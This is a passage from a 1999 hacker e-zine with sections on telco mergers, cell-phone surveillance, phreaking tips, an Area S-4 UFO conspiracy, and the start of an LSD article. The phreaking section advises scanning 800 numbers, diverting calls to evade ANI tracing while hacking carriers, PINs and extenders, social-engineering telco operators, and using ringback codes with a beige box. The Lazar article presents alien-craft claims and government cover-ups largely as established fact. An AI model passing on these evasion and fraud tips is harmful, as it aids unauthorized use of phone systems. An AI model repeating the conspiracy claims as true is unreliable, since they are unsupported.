new, growth-oriented telecommunications company. +In a joint announcement, the two companies emphasized this proposed merger +of equals is the first step toward becoming a leading, national +telecommunications provider. + +"We're excited about the opportunities for growth this merger presents to our +customers, to our employees and to our shareholders," said Brian Canfield, +BC TELECOM chairman. "Our combined size and financial strength, along with +the expertise and commitment of our people, position us to become a +communications provider of choice for Canadians." + +"When we talk about growth, we mean a number of things," said George Petty, +TELUS president and chief executive officer. "We mean accelerating the pace +at which we expand into fast-growing, new businesses such as advanced data +services, voice over the Internet and electronic commerce. We also mean +building upon our existing network infrastructure and most importantly, +expanding our customer base beyond our provincial borders." + +The timeline of the events: + +January 21, 1999 +BC TELECOM shareholders approve merger with TELUS + +December 17, 1998 +Proposed board of BCT.TELUS announced + +November 2, 1998 +BC TELECOM and TELUS announce senior executive team + +October 29, 1998 +BC TELECOM and TELUS approve amendment to merger proposal + +October 19, 1998 +BC TELECOM and TELUS to merge + +January 21, 1999 + +BC TELECOM shareholders approve merger with TELUS + +Burnaby, BC - BC TELECOM shareholders today voted 99.99 per cent in favour of a +merger between BC TELECOM Inc. and TELUS Corporation. The vote took place this +morning at a special meeting of shareholders in Vancouver. Earlier this week, +TELUS shareholders voted 99.4 per cent in favor of the merger. + +"Today's vote in support of a merger with TELUS changes the face of competition +in the Canadian telecommunications industry," said Brian Canfield, chairman of +BC TELECOM and chairman designate of BCT.TELUS Communications Inc., the company +that will result from the merger of BC TELECOM and TELUS. "This merger brings +together two great companies, each with a proud past, to create a dynamic new +company with a bold future. + +"The opportunities for growth this merger presents to our customers, to our +employees and to our shareholders are significant. Our combined size and +financial strength, along with the expertise and commitment of our people, +position us to become a national communications provider of choice for +Canadians." + +The two companies also announced that an agreement has been signed to acquire +fibre-optic links in eastern Canada from Ledcor Industries. Ledcor will provide +a fibre ring through southern Ontario and Quebec as well as links from Vancouver +to Seattle, from Montreal to Albany and from Toronto to Albany which will have +the ability to connect to GTE's national backbone network. + +The new company is named BCT.TELUS Communications Inc. and began trading +on Monday, February 1 on the Toronto, Montreal, Vancouver and Alberta stock +exchanges. The trading symbol for the company is BTS. + +Combined their annual revenues are almost $6 billion with assets of more than +$8 billion. BCT.TELUS Communications Inc. is expected to achieve annual +synergies by the third year of approximately $250 million in operating expenses +and $115 million in capital expenses. + +Terms of the merger agreement: + +The agreement calls for TELUS shareholders to receive .7773 of a share in the +resulting merged company for each TELUS share they currently own. BC TELECOM +shares will become shares of the merged company. As a result, BC TELECOM +shareholders will continue to have one share of the merged company for each +BC TELECOM share they currently own. This transaction, which is a merger of +equals, will be accounted for as a pooling of interests. + +As part of the transaction, GTE, which currently owns just over 50 per cent of +BC TELECOM, will hold just over 26 per cent of the voting shares of the merged +company. GTE has advised both BC TELECOM and TELUS that it supports the +transaction and intends to vote in favor of the merger. The ownership of the +merged company will comply with Canadian foreign ownership rules and regulations +under the Telecommunications Act and the Broadcasting Act. The merged company +will take all steps necessary to ensure such compliance, including ensuring that +non-resident share ownership levels are within the levels permitted. + +Under the terms of the merger agreement, the chairman will be Brian Canfield and +the president and chief executive officer will be George Petty. The new board +will be made up of 16 members, with an equal number coming from BC TELECOM's and +TELUS' existing boards. + +"Clearly, the key to this merger is how it positions us for future growth," said +Petty. "Maintaining the status quo simply doesn't give us the growth +opportunities we need in today's intensely competitive marketplace. We are +already working together, looking at ways to create operating efficiencies as +well as ways to complement our existing national services and alliances. These +options include further expansion of our existing networks through acquisitions +or investments in new facilities, or by forming new alliances with other +communications companies." + +"This proposed merger is good news for customers, particularly customers who +have business operations or personal ties across the country or around the +world," said Don Calder, BC TELECOM president and chief executive officer. +"The merged company will provide new high-speed data and Internet services to +make businesses more competitive. It will also give consumers faster access +to the latest products and services at competitive prices." + +"An integral part of this proposed merger is to build upon our longstanding +relationship with GTE," said Canfield. "As part of this agreement, GTE will +offer access to its global resources including its branding strategies, +technology agreements and intellectual property rights. These rights cover +new and emerging services as well as support systems such as billing, customer +contact and network management. Our relationship with GTE will also allow us, +over time, to achieve greater economies of scale and scope." + +"GTE intends to support the BC TELECOM-TELUS merger and the new company in every +way possible," said Mike Masin, GTE vice-chairman and president - international +operations. "BC TELECOM has been an important part of the GTE family for many +years. This merger is an important strategic step for the two companies. The +combination of BC TELECOM and TELUS will be a value creator for shareholders of +both companies." + +This merger combines the complementary capabilities of BC TELECOM and TELUS in +their respective operating areas. Of Canada's top 750 businesses, 24 per cent +have headquarters in the areas served by BC TELECOM and TELUS. + +Together, the two companies have 4.4 million access lines in British Columbia +and Alberta, which is 25 per cent of the total access lines in Canada. The +companies have approximately 70 per cent of the long-distance market in their +operating territories. + +BC TELECOM and TELUS are leaders in Canada's wireless communications market, +providing advanced digital and analog wireless services to more than 900,000 +customers throughout B.C. and Alberta. This represents a combined market +share of 63 per cent and an industry-leading penetration rate of 13.5 per cent +of the population in B.C. and Alberta. + +They also have a combined total of 180,000 Internet users, which makes them +the leading ISP in the region. BC TELECOM and TELUS provide high-speed data +and advanced Internet services, using the most sophisticated networks available +in Canada today. As part of the transaction, GTE will provide access to a suite +of new applications and services not yet available in Canada. + +Both BC TELECOM and TELUS will continue to leverage the strengths of their +existing brands in their respective operating areas until a new branding +strategy is developed. The new company will also have access to GTE's global +branding strategies. In July, GTE announced a merger with Bell Atlantic, which +makes them even larger. + +BC TELECOM and TELUS have a combined workforce of more than 25,000 people with +approximately 14,000 employees from BC TELECOM and 11,000 employees of TELUS. + +"Obviously, when you put two companies of this size together, there are likely +to be some overlapping positions - particularly at the senior management +levels," said Petty. "However, since we are talking about expanding into new +territories by delivering new services, we expect to create new employment and +professional opportunities." Don't mince words Petty (what a fitting name), +the axe will fall on some of the senior and middle management employees. + +"This proposed merger is a critical first step in providing Canadians with even +greater market-based choices," said Jim Palmer, TELUS chairman. Choices? +I think Palmer means *less* choices. Afterall, it's not actually a new +company, but a merger between two existing companies. "We are already competing +against very aggressive national and international players in our home markets +of British Columbia and Alberta. We are eager to combine our existing strengths +as a springboard for growth." + +What does the merger of BC TEL and TELUS into BCT.TELUS Communications Inc. +mean? In reality, it means that two former Canadian telcos are being merged +with Bell Atlantic and GTE (which already owned 50% of BC TELECOM previous to +this merger). And it will mean changes for Canadian customers, especially +those in Alberta and British Columbia in the next few years. + +More information about the two companies can be found on the BC TELECOM web site +at www.bctel.com and the TELUS web site at www.telus.com. The GTE web site is +located at www.gte.com. + + +SBC/Ameritech Merger: + +On May 12, 1998 yet another telco merger was announced. SBC, Inc. a telco +holding company that already possesses SouthWestern Bell, Nevada Bell, +Pacific Bell, and Cellular One wants to add Ameritech to its collection of +RBOCs. This deal is reportedly worth $62 billion. + +The combined company will be called SBC and will be approximately 56 percent +owned by SBC's existing shareowners and 44 percent by Ameritech's existing +shareowners. It appears that SBC is attempting to recreate "old Ma Bell" in +its own image. The merged company will provide an related books integrated +mix of local, long distance, Internet, and high-speed data services in 30 U.S. +markets outside its traditional 13-state local region, said Edward Print +Whitacre, chairman and CEO of SBC. Once the transaction is completed, Whitacre +will remain as chairman and CEO of SBC, and Robert Notebaert will remain as +chairman and CEO of Ameritech. Upon closing of the merger, SBC's board of +directors will be expanded to include Notebaert and four other Ameritech +directors to oversee operations. + +In a smaller merger compared to the SBC/Ameritech deal, SBC acquired +Southern New England Telecommunications Corp. (SNET) for $4 billion. This +deal was finalized with FCC approval on October 26, 1998. SNET will give +SBC traditional wireline, wireless, long distance, Internet and data in +Connecticut. It also provides wireless service in Rhode Island and western +Massachusetts. + + +In conclusion, it's obvious that their logic is that bigger=better. Not +only do they seek quantity in relation to profits, but they want to expand +in size and move into new markets (such as the RBOCs like Bell Atlantic that +want to offer nationwide long distance, Internet and wireless services). +The purpose of this article was to educate people about these mergers and +show them the truth. Hopefully we've managed to do that. There are also other +alliances (such as AT&T, Cantel, Rogers and Shaw Cable) which weren't mentioned +in this article. Perhaps we'll discuss Rogers Communications (a new Canadian +monopoly that's still in the early stages of creation) once we have more +detailed information. We also intend to pass along more information about NCR +to you, including some "inside information". With mergers taking place at such +a fast and furious rate though, it can be difficult to stay informed about +every transaction, acquisition and aspect of what's going on. However, we will +continue to try our best to ensure that accurate information on these topics is +published as timely as possible. + +Written by Shatazar and BLACKENED ú Damage, INC. (C)opyright 1999. + + +BIG BROTHER BASHING - {BIG BROTHER} +Big Brother taps into cellular phones. + +As we approach the next millennium, the number of people that possess and use +cellular phones will continue to grow. Many cell phone users praise the +flexibility and freedom that this technology provides them. However, these +people fail to think or realize that cellular phones offer no more privacy and +anonymity as their home telephone. Big Brother has been working hard to make +sure that he can tap cell phone conversations, as well as the ability to track +down the location of a cellular phone user. + +There is a proposal founded by the U.S. Federal Communications Commission to +give law enforcement agencies, like the FBI, additional wiretapping methods to +deal with the exploding use of cellular phones. Once again Big Brother is using +the "crime excuse" to destroy the right to privacy that we are entitled to. The +FBI claims that they need broader authority to tap cell phones so that they can +more easily locate drug dealers, terrorists, kidnappers, etc. In my opinion, +the notorious FBI will abuse cell phone tapping like they abuse their standard +telephone tapping powers. + +The U.S. "Justice" Department is also lobbying for the FBI and other agencies to +have more powers to tap cell phones. "We think this is a positive step +forward," said Stephen Colgate, the Justice Department's assistant attorney +general for administration. "In many kidnapping cases, it would have been very +helpful to have location information." Colgate's words align himself with Big +Brother's strategy to use crime as a weapon to eliminate all meaningful +assurances of privacy and freedom in the United States. + +As it stands for now, the Thought Police must obtain a court order from a judge +(an official rubber stamp from a member of The Party) in order to tap a cellular +phone. In some instances, they may also petition to get a court order to trace +the location of the tapped cell phone user. However, not all cell phone +companies have the technology to give Big Brother this information. Big Brother +is poised to shut these privacy-protecting companies down. Big Brother has +setup a nationwide requirement that all cell phone providers must provide the +Thought Police with the ability to pinpoint the location of all cellular phones. +Not only must it be technically possible to obtain a cell phone user's location, +but a Thought cop only needs to prove that it is relevant to his +"investigation." The judicial rubber stamping is getting even easier for the +Thought Police to obtain. + +Anonymous cell phone industry sources have stated that the cops would be able +to ascertain the cellular phone user's location at the beginning and end of +a cellular phone call. The origin and ending call location information of the +tapped call would be provided to the cops via the user's cell site. The cell +phone user's location can be supposedly fixed within several city blocks in an +urban area. Out in rural areas, the range would be within a few hundred square +miles. Big Brother isn't satisfied at all with the huge range that their +Thought Police would have to search for the cell phone user. The FBI has +slammed the current location trace as being too broad, and want to be able to +pinpoint the user's "exact" location. + +Another one of Big Brother's agencies, the FCC has jumped into the fray to aid +the FBI and other law enforcement agencies. Sources report that the FCC will +come to the conclusion that agencies like the FBI need additional cell tapping +capabilities because current capabilities like the cell user location I +mentioned above can thwart the intended purpose of a legal tap. In oldspeak, +the FCC is saying that cell phones give people more privacy because movement +tracing isn't pinpoint accurate (enough for Big Brother)... so more intrusive +tapping and location tracing are required. I was unable to find out which +"additional capabilities" the FCC has in mind. + +The FBI wasn't so bashful though. They want the ability to listen in on the +conversations of all parties to a conference call, even if they would only be +"legally" allowed to tap one member of the conference. They want this power +even if their tapped mark is on hold or is no longer involved in the +conversation. I'm very sure that this additional tapping "capability" is only +one of many that Big Brother will make legal... even though the FBI does +whatever the fuck they want. + +In fact, Big Brother has already used his influence to make it easy for him to +monitor cellular phone conversations. There are a multitude of exploits +available on how phreaks and pigs have used cellular scanners to listen in on or +clone analog cell phones. However, just because you have a digital cell phone +with encryption doesn't mean that you have privacy or security. On April 14, +1998 the New York Times reported that digital cell phones that rely on the +French Groupe Speciale Mobile encryption standard are at risk. G.S.M. is +reportedly used in 80 million cellular phones throughout the world, with around +2 million within the United States. G.S.M. was broken by two researchers at +the University of California at Berkeley. They claim to have done it by using a +computer to determine the identity number stored in the Subscriber Identity +Module, or S.I.M., a credit card-like device inside the phone. With this +number, it is quite easy to clone digital cell phones that use G.S.M. What is +most interesting is that the researchers believe that a digital key used by +G.S.M. was intentionally weakened. The key, known as A5, is a 64-bit encryption +system generally an extremely difficult code to crack. The researchers +determined that the last 10 digits were actually zeros! That means that with +the powerful computers available to national intelligence agencies, it would be +possible to decode a voice conversation relatively quickly. Big Brother's plan +for cell phone encryption is obvious. Make it strong enough to hinder the +public, but weak enough for the Thought Police so that they can easily violate +the privacy of those cell phone users. + +The only "freedom" cellular phones offer is of physical movement. However, +physical movement definitely doesn't mean that Big Brother can't track you down. +Big Brother can still listen in on your most intimate conversations, whether +they monitor your POTS line or your cell phone. I hope all cell phone +newbies have been able to take some information from this article, because +it was written for you. If you are a cell phone user, don't ever assume +that Big Brother isn't listening in on you. + +Written by Shatazar ú Damage, INC. (C)opyright 1999. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Exchange Scanning revisited. + +This article will only include tips on scanning 1-800s. So, if you're +trying to find information on X.25 packet switching network scanning, then +look elsewhere. The main focus of this article is on organizing scans, +how to scan intelligently, what things to experiment with and how to identify +systems that are found. Basically, it's nothing "new" and it isn't very +exciting, but it might be helpful to those out there that want to learn how +to scan and how to find things while scanning. There's no point in scanning +if you don't use anything that you find. ;) + +Okay, so you're scanning 1-800-555-XXXX (or random 800 exchanges) and you find +the following: + + +Carriers - Simply denote them as "CARRIER" in your scan. After your finished +scanning, search through your scan list for Carriers and call them back via +modem to identify them properly. We plan on including an article on identifying +systems to better help newbies that aren't familiar with many systems or how +to connect to them, etc. Instead of interrupting your scanning to call them +back, it actually saves time if you complete your scanning first. Also, don't +try to hack any 1-800 systems from home unless you divert... as they have ANI. +So, if you want to take the risk of getting caught, that's your choice. +Otherwise, go field phreaking with a list of carriers that you want to try +to access and explore. + + +Diverters and Extenders - If you find an extender or a diverter while scanning, +check to see if it diverts by calling an ANI. Or call a friend that has +Caller-ID and ask what number is shown. Just remember not to use any 1-800 +extenders without diverting first. ;) + + +FAX back services - These are usually found on information lines setup by +large corporations, telcos, etc. so that people can get info about products +and services via FAX. Usually you'll have to navigate through a serious of +automated menus to reach the FAX back portion of the system. So, it's a +good idea to log the number sequences that are required to access it, for +future reference. As in, to get information via FAX from Micro$oft, you +need to press this series of numbers (*,1,1,AC,NUM,#,5,0). Sometimes it +takes a little exploring to find where the FAX back option is, but it's +well worth it. + + +LD Carrier/calling card access lines - If you do any scanning at all, you +will encounter many of these. Most often they ask for a PIN or calling +card number. Usually the PIN if 4 digits and many of them will ask you +to enter a 4 digit PIN, so they basically identify themselves. Meaning, +they need the last four digits of the calling card number to be used. However, +you might also need to know the company that owns it before trying to use it. +Having more information is always better than using something that you know +nothing about. So, just log what it reports to you and *never* try to hack +PINs using your own line. + + +PBXs - These are basically self-explanatory... and articles have already +been written on PBXs. However, you might run across some 1-800 PBXs that +just give you a dialtone while scanning. Not all of them are PBXs though. +Just as, not all of them will divert if you dial out using them. So, don't +experiment with them too much while scanning from home. More information +will be given in a future article dedicated to this topic. + + +Telcos - If an operator answers (such as with Op assisted ld calling), ask +a few questions about their services, prices, etc. and social engineer them +for some info. Or, if it's a RBOC (Regional Bell Operating Company) rather +than just a long distance carrier telco, tell them you need another number. +As in, say that you're trying to reach Repair, or the Billing office. Usually +they'll be willing to give you that information freely without any questions. +;) + + +Teleconferencing - If you find a few numbers for teleconferencing services, +don't go and setup a conference right away if you're at home, unless you +want to get billed for it. ;) Just log it and the next time you're out +field phreaking, you can then setup a conference using the methods discussed +in Blackie Lawless' article on Conferencing. + + +VMBs - If the VMB that you find while scanning identifies itself (such as a +Meridian Mail, Audix, etc.) then your task has been made easy. If not, +simply describe it as a VMB and call it back later. Don't waste time trying +to find valid box numbers, hack boxes, etc. while you're scanning. Unless +of course that's your only intention. ;) Some systems have an after hours +VMS... and other automated systems (such as telco info and demonstration lines) +have a hidden VMS. Many of Bell's use "*" to access it, as shown in the list +of Bell numbers further down in this issue. Sometimes you just have to +experiment in order to find hidden options such as that. + +If you don't want to dial numbers in which people are constantly answering +voice, then do your 1-800 scanning late at night (well past normal business +hours). Scanning on weekends is also a good idea since many business offices +are closed. That way, you'll usually just find their after hours VMS handling +calls. However, no matter what time/day you scan, there will always be some +voice answers due to 24 hour ordering lines, hotlines, customer service, telcos, +etc. It's unavoidable, but the number can be diminished somewhat if you avoid +scanning during business hours. Also, if you scan after 11PM Pacific Time, +most places on the west coast will be closed, excluding the above. But that's +good for several reasons. One is that if they're closed and have a VMS, you +will still be able to know what company owns that 800 number. Or they may +just have an automated system, or message that directs your call to another +number (in the case of many telcos). So, you won't miss anything that's +useful anyways. And when a telco Op answers voice, it's not a bother since +you can ask them questions, social engineer them for other numbers, etc. ;) + + +Bonus Tip: + +Ringbacks - Let's say you want to make a phone ring. Other than certain +pay phones (ahem, Bell Canada's Millenniums for example), it's an easy +task if you know the ringback number for your NPA. And it's completely +safe to use ringbacks anywhere (including from your own phone line). So, +there's absolutely no reason to be paranoid. ;) Ringbacks are used by +the telco for testing lines, but we can also use them for our own purposes. + +The ringback number for 519 (and most other areas in Ontario, Canada) is +999-XXX-XXXX and for 514 (Montreal, Quebec) it's 320-XXX-XXXX. Substitute +the seven digits of the line's phone number for the Xs in each case. In +other words, if your phone number were (519) 555-1234 then you would dial +999-555-1234 as your ringback. However, other area codes obviously don't +use the same number/format. Many U.S. cities use 958, 958-XXXX (the last +four digits of your phone number) or something else. Download Voyager's +alt.2600/#hack FAQ and refer to the section on Ringbacks. It has a fairly +complete list of ringback numbers for various cities/NPAs. + +Once you have the correct ringback code for your area, dial it and you'll +hear a normal sounding ESS "dialtone". If you want to perform a lineman's +test on the line using DTMF tones, press "1234567890" within a time span of +15 seconds. Obviously, that requires a touch tone phone to do. So, if +you're still using an old rotary dial Bell phone, you're fucked. ;) Anyways, +if you do that and hear a double burst of a single tone then the line is +functioning properly. Otherwise, if you dialed a digit wrong in that string, +the test will reset in another 15 seconds with a single tone repeated. I've +tried doing that, and that's the only way that it can be explained in simple +terms. In most cases, a Bell linesman will test a newly installed phone line +by dialing a ringback to make sure that it's working. Many people just +don't watch them carefully enough to notice what they're doing, otherwise +they'd have a little code to play with as soon as they have a phone line. + +If you don't want to test the line and just want to use it to make a phone +ring, dial the ringback and at the "dialtone" flash the hook switch (meaning, +hang up/press and release it quickly) and you should hear a fairly loud, +consistent, single tone. At this point, hang up (put the phone back on hook) +and the phone will start ringing. If you're deaf, use your terminal program +and watch for the "RING", "RING" to appear or use an external modem to view +the AA light flashing. Anyways, that's how to activate a ringback. It'll +keep ringing until you terminate the procedure by either picking up the phone +and hanging again or going on hook and pressing a button. If you want to +repeat the process, pick up when it rings, flash again, then hang up and +it'll start ringing all over again. ;) Hopefully that's easy enough to +understand as it's just retracing your steps. + +If you're lucky enough to live in an area in which the ringback doesn't +require entering a 7 digit phone number or the last 4 digits, then you may +be able to use it while beige boxing. For example, it would be very useful +if you didn't have a 1-800 or local ANI, but knew that the ringback number +was XXX (958, 957, 220, or whatever). That is, if your beige box were +equipped with Caller-ID, you could dial the ringback, hang up, and when it +rings you'd know the number of the line. ;) That's just a little trick +I thought of that may or may not work. Unfortunately it cannot be tested in +this particular NPA due to the format of the ringback number. + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Bob Lazar/Area S-4 Part 1: One decade later. + +There have been many bizarre tales and sightings of what people believe to be +alien flying saucers under American control from the Nevada Test Site. In fact, +Area 51 of the Nevada Test Site is widely believed to be covering up the +existence of alien beings and technology. When did awareness of the Nevada Test +Site become widespread? I personally believe a major catalyst was introduced +during 1989 when a physicist named Bob Lazar came forward with his experiences +while he worked in an area called Area S-4. + +For many readers, this article about Bob Lazar and Area S-4 will be a review of +information that has been available for a decade. There are others that don't +know what Bob Lazar claims to have seen and why he publicly exposed the secrets +of Area S-4. Over the past decade, there are those that believe Lazar, but many +people in the U.S. Government and the media have attempted to debunk him at +every turn. In the next two articles in this section of the Damage, INC. +Newsletter, I will write about what was said and revealed in 1989, and my own +personal opinions on this conspiracy. Then you'll be able to form your own +opinions on the subject... or to continue not to have one if you're a zombie. + +About Bob Lazar: +--------------- + +Bob Lazar was employed as a physicist for the Los Alamos National Labs. One +day, Lazar was told by an associate to drop his resume off at the U.S. Navy. +Lazar must have had credentials that interested someone at Area S-4, because he +was interviewed by people who claimed to be part of the U.S. Navy. He wasn't +told very much about the position he "applied" for, other than that it was a +"high technology job that he'd be very interested in." + +Lazar accepted the job offer, and was told the location in Las Vegas where an +airplane would fly him into the ultra top secret facility he would be working +at. When Lazar disembarked from the plane, he found himself at the Groom Lake +facility within the Nevada Test Site. It is also known as Area 51. From there, +Lazar was put on a bus with no windows. He claims to have been driven down a +"good dirt road" to where he believes is Papoose Lake, which is 12 miles SSW of +Area 51. + +When Lazar got off the bus, he arrived at an installation that is referred to +as Area S-4. Here is Bob Lazar's description of S-4's exterior: "A very +interesting building. It's got a slope of probably about 30 degrees which are +hangar doors, and it has textured paint on it, but it looks like sand. It's +made to look like the side of the mountain that it is in, whether it's to +disguise it from satellite photographs or what...." According to Lazar's +description, Area S-4 would have to be on the east side of the Papoose Lake dry +bed. A sliver of the mountain that is closest to the dry lake bed extends into +the lake. It is possible that the facility was built into this extension of the +mountain. + +On Lazar's first day, he was told to read many briefings, reports, etc. Lazar +quickly became aware that the technology that was being researched was well +beyond what human science could come up with. Subject matters in the briefings +dealt with a variety of subjects; gravitational propulsion, elements that are +beyond our ability to create (Element 115), anti-matter reactions, etc. He even +claims to have read reports on autopsy of alien beings, alien craft and other +extraterrestrial subjects. + +During his employment at Area S-4, which lasted only a few months, Lazar saw +technologies that he considers to be of purely alien origin. He was a member of +a team of scientists. Their objective to examine the nine advanced space craft, +and successfully reverse engineer them. Upon further investigation, Lazar +confirmed in his own mind that the craft were alien in nature. He was enthraled +by testing gravitational reactors, repulsion fields, anti-matter generators, +super heavy elements that he claims are beyond our capabilities to create. +However, these fantastic experiences had a very heavy price. + +Bob Lazar faced severe oppression from the Area S-4 security forces. They +subjected him to many psychologically stressful situations. Day after day, +M-16s were put to his head. He was yelled at loudly and often. He was pushed +around, fingers were harshly thrusted into his chest. It is obvious that they +were using fear and intimidation to break Lazar, so that he would be very +reluctant to reveal to the public what he had seen, touched, and used. S-4 +security didn't end at the base though. Since Lazar had first-hand with one of +Big Brother's most secret programs, he was being watched *extremely* closely. +Frequently, Lazar would have to endure random searches of his home. They'd +threaten his and his wife's lives regularly. This was happening even after he +ended his employment at Area S-4 due to philosophical differences and the very +harsh treatment he endured. + +Gene Huff, a close friend of Lazar, who was interviewed stated that Lazar didn't +tell him [Huff] about his experiences at S-4 for a long time. Huff defended +Lazar's integrity by saying that Lazar "didn't just run right out and spill the +beans." However, Lazar did take Huff and other trusted people into the desert, +as close to the boundaries of Area S-4 as he felt was safe to see saucer test +flights for themselves. A total of five witnesses on two consecutive weeks +managed to dodge security patrols long enough to see the strange glowing object +lift above the mountain. During his interview, Huff related this experience; +"Uh, it came up above the same mountain. It moved around. It did a step +move -- it actually went up in the air like this [showing details with hands] +and it hovered then dropped way down then it just floated around and cruised +around. It starts coming up the mountain range...." They even video taped the +incidents, but all that can be seen in the darkness is a bright blip floating +and manoeuvring. The most the tape proves is that Lazar knew that something +unusual, whether if it was of alien origin or not, did occur near Area S-4 +according to the witnesses. + +Big Brother wouldn't take kindly to one of his drones revealing his secrets. In +addition to a barrage of death threats, agent and telephone surveillance, etc., +Big Brother exerted his power in a preemptive strike. Bob Lazar's past was +disappearing. On the matter of the disappearance of his past, Lazar said in an +interview, "What had happened was, I sent in a request for my birth certificate, +and as it turned out it wasn't there anymore, that I wasn't born at the +hospital! And that kind of got me wondering what's going on. I put in a +request for some other information, previous jobs, and that was also gone, and I +thought something had to be done before I disappeared." That includes Los +Alamos National Labs, the position that he held previous to his employment at +Area S-4. + +At this point, Lazar was feeling extremely vulnerable. He was frightened of +fading away. At this point, in order to protect himself via full disclosure, +and to share his ideals in regards to science, Bob Lazar went public. Through +mutually trusted persons, Lazar agreed to be interviewed (at first under the +alias of "Dennis") by George Knapp, who worked for KLAS-TV in Las Vegas, a CBS +affiliate. The first interview occurred in May 1989 and created a lot of +international interest. In fact, the Japanese televised the special nationally, +and six European countries also broadcasted portions of the "Dennis" interview. +There wasn't very much exposure in the American media, since it is controlled by +Big Brother. In November 1989, Lazar revealed his identity in another interview +with George Knapp. After that, he did several more television and radio +interviews. In all of his interviews, Lazar was outspoken against the U.S. +Government and their secrecy. "It's just unfair, outright, not to put it in the +hands of the overall scientific community. There are people much more capable +of dealing with this information, and by this time would have gotten a lot +further along than this small select group of people working out in the middle +of the desert. They don't even have the facilities, really, to completely +analyze what they're dealing with." In one of his final interviews, Knapp asked +him if he was still being harassed after doing the series of interviews. Lazar +replied, "They let me know that they were around by doing stupid, childish +little things. But nothing serious, no." + +It was obvious after Bob Lazar uncovered the U.S. Government's Area S-4 +conspiracy, they couldn't just eliminate him. Doing that would make some people +believe that he was killed for what he said, and therefore was telling the +truth. Big Brother employed other well tested tactics. Their first tactic was +to debunk everything that Lazar was saying. I mentioned above how they made +Lazar's past disappear in order to damage his credibility. I also believe that +they indirectly put pressure on Lazar to take a polygraph test. Lazar's first +polygraph examination concluded that he told the truth on one test, but was +lying during a second test. Since the results of these tests are inconclusive, +Lazar was sent to a second polygrapher named Terry Tabernetti. He put Lazar +through four tests and concluded there were no attempts to deceive. Tabernetti +shared Lazar's test results with a colleague that agreed with Tabernetti's +conclusion. Lazar's polygraph charts were then sent to another polygrapher, who +believed that Lazar was relating a story he learned about second-hand, instead +of experiencing it himself. Tabernetti believes the difficulty in determining +Lazar's truthfulness stems from the fear that was drilled into him. To the +mainstream media, Bob Lazar was a man that lied about his credentials, and that +his polygraph examinations didn't prove that he told the truth. + +Another tactic that Big Brother uses to stop people from further uncovering this +great conspiracy is simple denial. "We don't have any files on blah blah blah" +is the typical response to a Freedom of Information Act request. That is +something that George Knapp mentioned when he was interviewed by Chuck Harder, +a radio program host that worked for the Sun Radio Network during 1989. Knapp +said, "We put these questions [about Lazar, Area S-4, alien craft, etc.] to the +Navy, who Lazar says he worked for up there -- we made Freedom of Information +Act requests for information about the various specific programs [Lazar] +mentioned, of course the Navy denied having any information on the programs. +Of course in those requests we also asked for other information about UFOs, +stuff the Navy has already released and they denied having that information as +well -- so I don't put a lot of faith in the FOIA requests." By lying and +covering up the information, the U.S. Government itself attempts to discredit +Lazar and his story. Afterall, zombies believe everything Big Brother tells +them. Especially since the majority of "society" has been conditioned to +ridicule and disbelieve people that claim to have an alien/UFO experience of any +kind. + +Over the past decade, very little new information has been revealed. Bob Lazar, +having told his story in its entirety, more or less resumed as normal a +lifestyle as someone with his notoriety can. The U.S. Government still denies +the existence of Area S-4, and any alien technology research occurring anywhere +on the Nevada Test Site. Despite their denials, it hasn't stopped them from +annexing more and more land around Area 51. There is one benefit of Lazar's +public uncovering of Area S-4. That is there is much more interest in what is +happening at the Nevada Test Site. More people are investigating, trying to +dig up hard evidence of the government's coverup. In my opinion, if the full +truth does come out, it will be a very long time from now...but at least Lazar +has given us a glimpse of what is happening at Area S-4. + +Now, you could possibly be thinking "but Blackie Lawless, why didn't you tell us +very much about what Bob Lazar claims to have experienced during his employment +at Area S-4?" Well, that is what will be the focus of my next Conspiracies +and Coverups article that will appear in the next issue of the Damage, INC. +Newsletter. I felt that an article dedicated to giving you background +information on Bob Lazar and Area S-4 would possibly open up some minds before +I write about what Lazar experienced. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +CROSSED WIRES - {WIRES} + + __________________ _ _____________________________________________________ + \__ __ | / | | __/ ____/ ____/ ____/ __/ ____/_ ____/ + __/ _____/-- | \__ __|__ | \__ | \__ - \__ | \ __|__ + \_____|\________/__|_____/______/_|_____/_|_____/__|_____/________/______/ + -Zy + + ÄÍ pOwerraGe BBS ÍÄ + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + telnet://powerrage.nws.net - 24/7 - http://powerrage.nws.net + CyberCrime + InfiNet + BloodNet .+ BattleNet + Intratec + ToxicNet + XpresitNet + Sinnet + VibezNet + SysOp's TechNet + KitschNet + LandNet + Dark Rhythms International + DoRENet + Tons Of Online Games - MANY InterBBS Doors + Cable Modem / 4 Inbound Telnet Nodes + mailto:powerrage@mindless.com + + +DRUGS DISCUSSION - {DRUGS} +Trippin' on LSD with psychedelic hallucinations. + +This article is an introduction to LSD. There are many myths and misconceptions +regarding the drug, so I felt that it was necessary to inform our readers by +giving them the facts. However, since some of the information is from the +DEA, it might not be accurate. Some of you may know LSD by another name, so +I've included some terminology, courtesy of the DEA's web site. + + +U.S. Department of Justice +Drug Enforcement Administration +LSD in the United States + + ------------------------------------------------------------------------ + LSD-Related Street Terminology + +a, acid, animal, barrels, battery acid, beast, Big D, black acid, black +star, black sunshine, black tabs, blotter, blotter acid, blotter cube, blue +acid, blue barrels, blue chairs, blue cheers, blue heaven, blue microdot, +blue mist, blue moons, blue star, blue vials, brown bombers, brown dots, +California sunshine, cap, chief, chocolate chips, cid, coffee, conductor, +contact lens, crackers, crystal tea, cubes, cupcakes, d, deeda, domes, +dots, double dome, electric Kool-Aid, fields, flash, flat blues, ghost, +God's flesh, golden dragon, goofy's, grape parfait, green double domes, +green single domes, green wedge, grey shields, hats, hawaiian sunshine, +hawk, haze, headlights, heavenly blue, instant zen, l, lason sa daga, LBJ, +lens, lime acid, little smoke, logor, lucy in the sky with diamonds, +lysergide, mellow yellow, mickey's, microdot, mighty Quinn, mind detergent, +one way, optical illusions, orange barrels, orange cubes, orange haze, +orange micro, orange wedges, Owsley, Owsley's acid, pane, paper acid, +peace, peace tablets, pearly gates, pellets, pink blotters, pink Owsley, +pink panther, pink robots, pink wedge, pink witches, potato, pure love, +purple barrels, purple flats, purple haze, purple hearts, purple ozoline, +recycle, royal blues, Russian sickles, sacrament, sandoz, smears, snowmen, +squirrel, strawberries, strawberry fields, sugar, sugar cubes, sugar lumps, +sunshine, tabs, tail lights, ticket, trip, 